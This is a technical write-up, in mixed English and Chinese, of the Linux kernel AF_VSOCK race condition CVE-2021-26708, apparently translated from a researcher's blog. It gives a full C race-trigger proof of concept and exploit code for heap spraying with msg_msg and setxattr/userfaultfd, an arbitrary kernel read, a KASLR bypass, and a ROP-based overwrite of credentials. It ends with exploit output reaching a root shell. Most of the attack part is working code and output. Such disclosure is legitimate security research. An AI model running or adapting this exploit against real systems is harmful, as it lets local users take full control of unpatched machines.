CVE-2021-26708 Linux kernel before 5.10.13 特權提升漏洞/en

Vulnerability

These vulnerabilities are race conditions caused by incorrect locking in net/vmw_vsock/af_vsock.c. These conditional competitions were implicitly introduced in the submission that added VSOCK multi-transport support in November 2019, and were merged into the Linux kernel 5.5-rc1 version.

CONFIG_VSOCKETS and CONFIG_VIRTIO_VSOCKETS are provided as kernel modules in all major GNU/Linux distributions. When you create a socket for the AF_VSOCK domain, these vulnerable modules are automatically loaded.

vsock = socket(AF_VSOCK, SOCK_STREAM, 0);

The creation of AF_VSOCK sockets is available to non-privileged users and does not require user name space.

Memory corruption

The following is a detailed introduction to the use of CVE-2021-26708, using the conditional competition in vsock_stream_etssockopt(). Two threads are required to reproduce. The first thread calls setsockopt() :

  setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
                &size, sizeof(unsigned long));

The second thread changes the virtual socket transmission when vsock_stream_etssockopt() tries to acquire the socket lock, by reconnecting the virtual socket:

struct sockaddr_vm addr = {
        .svm_family = AF_VSOCK,
    };

    addr.svm_cid = VMADDR_CID_LOCAL;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

    addr.svm_cid = VMADDR_CID_HYPERVISOR;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

In order to process the connect() of the virtual socket, the kernel executes vsock_stream_connect() which calls vsock_assign_transport(). This function contains the following code:

     if (vsk->transport) {
            if (vsk->transport == new_transport)
                return 0;

            /* transport->release() must be called with sock lock acquired.
             * This path can only be taken during vsock_stream_connect(),
             * where we have already held the sock lock.
             * In the other cases, this function is called on a new socket
             * which is not assigned to any transport.
             */
            vsk->transport->release(vsk);
            vsock_deassign_transport(vsk);
        }

vsock_stream_connect() contains a socket lock, and vsock_stream_setsockopt() in the parallel thread also tries to obtain it, which constitutes a conditional competition. Therefore, when the second connect() is performed with a different svm_cid, the vsock_deassign_transport() function is called. This function executes virtio_transport_destruct(), releases vsock_sock.trans, and vsk->transport is set to NULL. When vsock_stream_connect() releases the socket lock, vsock_stream_setsockopt() can continue to execute. It calls vsock_update_buffer_size(), and then calls transport->notify_buffer_size(). Here transport contains an outdated value from a local variable, which does not match vsk->transport (the original value is set to NULL).

When the kernel executes virtio_transport_notify_buffer_size(), memory corruption occurs:

void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
    struct virtio_vsock_sock *vvs = vsk->trans;

    if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
        *val = VIRTIO_VSOCK_MAX_BUF_SIZE;

    vvs->buf_alloc = *val;

    virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}

Here, vvs is a pointer to the kernel memory, which has been released in virtio_transport_destruct(). The size of struct virtio_vsock_sock is 64 bytes and is located in the kmalloc-64 block cache. The buf_alloc field type is u32 and is located at offset 40. VIRTIO_VSOCK_MAX_BUF_SIZE is 0xFFFFFFFFUL. The value of *val is controlled by the attacker, and its four least important bytes are written into the freed memory.

Fuzzing

The syzkaller fuzzer has no way to reproduce this crash, so I decided to study it myself. But why does the fuzzer fail? Observe vsock_update_buffer_size() and find out:

 if (val != vsk->buffer_size &&
      transport && transport->notify_buffer_size)
        transport->notify_buffer_size(vsk, &val);

    vsk->buffer_size = val;

Only when val is different from the current buffer_size, will notify_buffer_size() be called, that is to say, when setsockopt() executes SO_VM_SOCKETS_BUFFER_SIZE, every time The size parameters of the call should all be different. So I built the relevant code:

/*
 * AF_VSOCK vulnerability trigger.
 * It's a PoC just for fun.
 * Author: Alexander Popov <[email protected]>.
 */

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/socket.h>
#include <linux/vm_sockets.h>
#include <unistd.h>

#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)

#define MAX_RACE_LAG_USEC 50

int vsock = -1;
int tfail = 0;
pthread_barrier_t barrier;

int thread_sync(long lag_nsec)
{
	int ret = -1;
	struct timespec ts0;
	struct timespec ts;
	long delta_nsec = 0;

	ret = pthread_barrier_wait(&barrier);
	if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
		perror("[-] pthread_barrier_wait");
		return EXIT_FAILURE;
	}

	ret = clock_gettime(CLOCK_MONOTONIC, &ts0);
	if (ret != 0) {
		perror("[-] clock_gettime");
		return EXIT_FAILURE;
	}

	while (delta_nsec < lag_nsec) {
		ret = clock_gettime(CLOCK_MONOTONIC, &ts);
		if (ret != 0) {
			perror("[-] clock_gettime");
			return EXIT_FAILURE;
		}

		delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 +
						ts.tv_nsec - ts0.tv_nsec;
	}

	return EXIT_SUCCESS;
}

void *th_connect(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct sockaddr_vm addr = {
		.svm_family = AF_VSOCK,
	};

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	addr.svm_cid = VMADDR_CID_LOCAL;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	addr.svm_cid = VMADDR_CID_HYPERVISOR;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	return NULL;
}

void *th_setsockopt(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct timespec tp;
	unsigned long size = 0;

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	clock_gettime(CLOCK_MONOTONIC, &tp);
	size = tp.tv_nsec;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
						&size, sizeof(unsigned long));

	return NULL;
}

int main(void)
{
	int ret = -1;
	unsigned long size = 0;
	long loop = 0;
	pthread_t th[2] = { 0 };

	vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
	if (vsock == -1)
		err_exit("[-] open vsock");

	printf("[+] AF_VSOCK socket is opened\n");

	size = 1;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE,
						&size, sizeof(unsigned long));
	size = 0xfffffffffffffffdlu;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE,
						&size, sizeof(unsigned long));

	ret = pthread_barrier_init(&barrier, NULL, 2);
	if (ret != 0)
		err_exit("[-] pthread_barrier_init");

	for (loop = 0; loop < 30000; loop++) {
		long tmo1 = 0;
		long tmo2 = loop % MAX_RACE_LAG_USEC;

		printf("race loop %ld: tmo1 %ld, tmo2 %ld\n", loop, tmo1, tmo2);

		ret = pthread_create(&th[0], NULL, th_connect, &tmo1);
		if (ret != 0)
			err_exit("[-] pthread_create #0");

		ret = pthread_create(&th[1], NULL, th_setsockopt, &tmo2);
		if (ret != 0)
			err_exit("[-] pthread_create #1");

		ret = pthread_join(th[0], NULL);
		if (ret != 0)
			err_exit("[-] pthread_join #0");

		ret = pthread_join(th[1], NULL);
		if (ret != 0)
			err_exit("[-] pthread_join #1");

		if (tfail) {
			printf("[-] some thread got troubles\n");
			exit(EXIT_FAILURE);
		}
	}

	ret = close(vsock);
	if (ret)
		perror("[-] close");

	printf("[+] now see your warnings in the kernel log\n");
	return 0;
}

The size value here is taken from the number of nanoseconds returned by clock_gettime(), which may be different each time. The original syzkaller will not do this, because when syzkaller generates fuzzing input, the value of the syscall parameter is determined and will not change during execution.

The power of four bytes

Here I choose Fedora 33 Server as the research target, the kernel version is 5.10.11-200.fc33.x86_64, and I am determined to bypass SMEP and SMAP.

In the first step, I started to study stable heap spraying, which exploited the execution of user space activities to cause the kernel to allocate another 64-byte object at the location of the released virtio_vsock_sock. After several experimental attempts, it was confirmed that the released virtio_vsock_sock was overwritten, indicating that heap spraying is feasible. Finally I found msgsnd() syscall. It creates struct msg_msg in the kernel space, see pahole output:

struct msg_msg {
    struct list_head           m_list;               /*     0    16 */
    long int                   m_type;               /*    16     8 */
    size_t                     m_ts;                 /*    24     8 */
    struct msg_msgseg *        next;                 /*    32     8 */
    void *                     security;             /*    40     8 */

    /* size: 48, cachelines: 1, members: 5 */
    /* last cacheline: 48 bytes */
};

The front is the message header, and the back is the message data. If the struct msgbuf in the user space has a 16-byte mtext, the corresponding msg_msg will be created in the kmalloc-64 block cache. A 4-byte write-after-free will destroy the void *security pointer at offset 40. The msg_msg.security field points to the kernel data allocated by lsm_msg_msg_alloc(). When msg_msg is received, it will be released by security_msg_msg_free(). Therefore, by destroying the first half of the security pointer, arbitrary free can be obtained.

Kernel Information Leak

Here is used %87%E6%BC%8F%E6%B4%9E CVE-2019-18683 the same technique. The second connect() of the virtual socket calls vsock_deassign_transport() and sets vsk->transport to NULL, making vsock_stream_setsockopt() Calling virtio_transport_send_pkt_info() after the memory crash, a kernel warning appears:

WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
  virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
  vsock_update_buffer_size+0x5f/0x70 [vsock]
  vsock_stream_setsockopt+0x128/0x270 [vsock]
...

Through gdb debugging, it is found that the RCX register contains the kernel address of the released virtio_vsock_sock, and the RBX register contains the kernel address of vsock_sock.

Achieve arbitrary reading

From arbitrary free to use-after-free

Release an object from the leaked kernel address Perform heap spray and cover the object with controlled data Use damaged objects for privilege escalation The System V message implemented by the kernel has a maximum limit of DATALEN_MSG, that is, PAGE_SIZE minus sizeof(struct msg_msg)). If you send a larger message, the remaining messages will be saved in the list of message segments. The msg_msg contains struct msg_msgseg *next to point to the first segment, and size_t m_ts is used to store the size. When performing an overwrite operation, you can put the controlled value in msg_msg.m_ts and msg_msg.next:

Payload:

    #define PAYLOAD_SZ 40 
    void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
    {
        struct msg_msg *msg_ptr;

        xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;

        /* Don't touch the second part to avoid breaking page fault delivery */
        memset(spray_data, 0xa5, PAGE_SIZE * 4);

        printf("[+] adapt the msg_msg spraying payload:\n");
        msg_ptr = (struct msg_msg *)xattr_addr;
        msg_ptr->m_type = 0x1337;
        msg_ptr->m_ts = ARB_READ_SZ;
        msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
        printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
               msg_ptr,
               msg_ptr->m_type, &(msg_ptr->m_type),
               msg_ptr->m_ts, &(msg_ptr->m_ts),
               msg_ptr->next, &(msg_ptr->next));
    }

But how to use msg_msg to read kernel data? By reading the msgrcv() system call documentation, I found a good solution, using msgrcv() and MSG flags:

MSG_COPY (since Linux 3.8)
        Nondestructively fetch a copy of the message at the ordinal position  in  the  queue
        specified by msgtyp (messages are considered to be numbered starting at 0).

This flag causes the kernel to copy the message data to the user space without deleting it from the message queue. If the kernel has CONFIG_CHECKPOINT_RESTORE=y, then MSG is available and applicable in Fedora Server.

任意讀的步驟

準備工作： 使用sched_getaffinity()和CPU_COUNT()計算可用的CPU數量（該漏洞至少需要兩個）; 打開/dev/kmsg進行解析; mmap()將spray_data內存區域配置userfaultfd()作為最後一部分; 啟動一個單獨的pthread來處理userfaultfd()事件; 啟動127個threads用於msg_msg上的setxattr()&userfaultfd()堆噴射，並將它們掛在thread_barrier上; 獲取原始msg_msg的內核地址: 在虛擬套接字上進行條件競爭; 在第二個connect()後，在忙循環中等待35微秒; 調用msgsnd()來建立一個單獨的消息隊列；在內存破壞後，msg_msg對像被放置在virtio_vsock_sock位置; 解析內核日誌，從內核警告（RCX寄存器）中保存msg_msg的內核地址; 同時，從RBX寄存器中保存vsock_sock的內核地址; 使用損壞的 msg_msg對原始msg_msg執行任意釋放: 使用原始 msg_msg地址的4個字節作為 SO_VM_SOCKETS_BUFFER_SIZE，用於實現內存破壞； 在虛擬套接字上進行條件競爭； 在第二個connect()之後馬上調用msgsnd()；msg_msg被放置在virtio_vsock_sock的位置，實現破壞； 現在被破壞的msg_msg的security指針存儲原始msg_msg的地址(來自步驟2)；

如果在處理 msgsnd() 的過程中發生了來自 setsockopt()線程的 msg_msg.security內存損壞，進而SELinux權限檢查失敗； 在這種情況下，msgsnd()返回-1，損壞的msg_msg被銷毀；釋放msg_msg.security可以釋放原始msg_msg； 用一個可控的payload 覆蓋原始msg_msg： msgsnd()失敗後，漏洞就會調用pthread_barrier_wait()，調用127個用於堆噴射的pthreads； 這些pthreads執行setxattr()的payload； 原始msg_msg被可控的數據覆蓋，msg_msg.next指針存儲vsock_sock對象的地址；

通過從存儲被覆蓋的 msg_msg的消息隊列中接收消息，將vsock_sock內核對象的內容讀到用戶空間：

ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,
                IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

尋找攻擊目標

以下是我找到的點： 1.專用的塊緩存，如PINGv6和sock_inode_cache有很多指向對象的指針 2.struct mem_cgroup *sk_memcg指針在vsock_sock.sk偏移量664處。 mem_cgroup結構是在kmalloc-4k塊緩存中分配的。 3.const struct cred *owner指針在vsock_sock.sk偏移量840處，存儲了可以覆蓋進行權限升級的憑證的地址。 4.void (*sk_write_space)(struct sock *)函數指針在vsock_sock.sk偏移量688處，被設置為sock_def_write_space()內核函數的地址。它可以用來計算KASLR偏移量。

下面是該漏洞如何從內存中提取這些指針:

#define SK_MEMCG_RD_LOCATION    (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET    840
#define OWNER_CRED_RD_LOCATION    (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET    688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET) 
/*
 * From Linux kernel 5.10.11-200.fc33.x86_64:
 *   function pointer for calculating KASLR secret
 */
#define SOCK_DEF_WRITE_SPACE    0xffffffff819851b0lu 
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;

/* ... */

    sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
            sk_memcg, SK_MEMCG_RD_LOCATION);

    owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
            owner_cred, OWNER_CRED_RD_LOCATION);

    sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
            sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);

    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
    printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);

在 sk_buff 上實現 Use-after-free

Linux內核中與網絡相關的緩衝區用struct sk_buff表示，這個對像中有skb_shared_info與destructor_arg，可以用於控制流劫持。網絡數據和skb_shared_info被放置在由sk_buff.head指向的同一個內核內存塊中。因此，在用戶空間中創建一個2800字節的網絡數據包會使skb_shared_info被分配到kmalloc-4k塊緩存中，mem_cgroup對像也是如此。

我構建了以下步驟：

1.使用socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)創建一個客戶端套接字和32個服務器套接字

2.在用戶空間中準備一個2800字節的緩衝區，並用0x42對其memset()

3.用sendto()將這個緩衝區從客戶端套接字發送到每個服務器套接字，用於在kmalloc-4k中創建sk_buff對象。在每個可用的CPU上使用`sched_setaffinity()

4.對vsock_sock執行任意讀取過程

5.計算可能的sk_buff內核地址為sk_memcg加4096(kmalloc-4k的下一個元素)

6.對這個可能的sk_buff地址執行任意讀

7.如果在網絡數據的位置找到0x42424242424242lu，則找到真正的sk_buff，進入步驟8。否則，在可能的sk_buff地址上加4096，轉到步驟6

8.sk_buff上執行32個pthreads的setxattr()&userfaultfd()堆噴射，並把它們掛在pthread_barrier上

9.對sk_buff內核地址進行任意釋放

10.調用pthread_barrier_wait()，執行32個setxattr()覆蓋skb_shared_info的堆噴pthreads

11.使用recv()接收服務器套接字的網絡消息。

通過skb_shared_info 進行任意寫

以下是覆蓋sk_buff對象的有效payload：

#define SKB_SIZE        4096
#define SKB_SHINFO_OFFSET    3776
#define MY_UINFO_OFFSET        256
#define SKBTX_DEV_ZEROCOPY    (1 << 3) 
void prepare_xattr_vs_skb_spray(void)
{
    struct skb_shared_info *info = NULL;

    xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0x0, PAGE_SIZE * 4);

    info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
    info->tx_flags = SKBTX_DEV_ZEROCOPY;
    info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;

    uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);

skb_shared_info駐留在噴射數據中，正好在偏移量SKB_SHINFO_OFFSET處，即3776字節。 skb_shared_info.destructor_arg指針存儲了struct ubuf_info的地址。因為被攻擊的sk_buff的內核地址是已知的，所以能在網絡緩衝區的MY_UINFO_OFFSET處創建了一個假的ubuf_info。下面是有效payload的佈局：

下面講講destructor_arg 回調:

 /*
     * A single ROP gadget for arbitrary write:
     *   mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
     * Here rdi stores uinfo_p address, rcx is 0, rsi is 1
     */
    uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
    uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
    uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */

由於在vmlinuz-5.10.11-200.fc33.x86_64中找不到一個能滿足我需求的gadget，所以我自己進行了研究構造。

callback函數指針存儲一個ROP gadget 地址，RDI存儲callback函數的第一個參數，也就是ubuf_info本身的地址，RDI + 8指向ubuf_info.desc。 gadget 將ubuf_info.desc移動到RDX。現在RDX包含有效用戶ID和組ID的地址減一個字節。這個字節很重要：當gadget從 RSI向 RDX指向的內存中寫入消息1時，有效的 uid和 gid將被零覆蓋。重複同樣的過程，直到權限升級到root。整個過程輸出流如下：

[a13x@localhost ~]$ ./vsock_pwn

=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================

[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready

[+] stage I: collect good msg_msg locations
[+] go racing, show wins: 
    save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
    save msg_msg ffff9125c25a4640 in msq 12 in slot 1
    save msg_msg ffff9125c25a4780 in msq 22 in slot 2
    save msg_msg ffff9125c3668a40 in msq 78 in slot 3

[+] stage II: arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4d00
    kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins: 

[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000

[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4640
    kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11 
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb

[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
    start at 0x7f0d91120004
    skb_shared_info at 0x7f0d91120ec4
    tx_flags 0x8
    destructor_arg 0xffff9125c42fa100
    callback 0xffffffffab64f6d4
    desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15 

[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 

[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

視頻

參考

https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html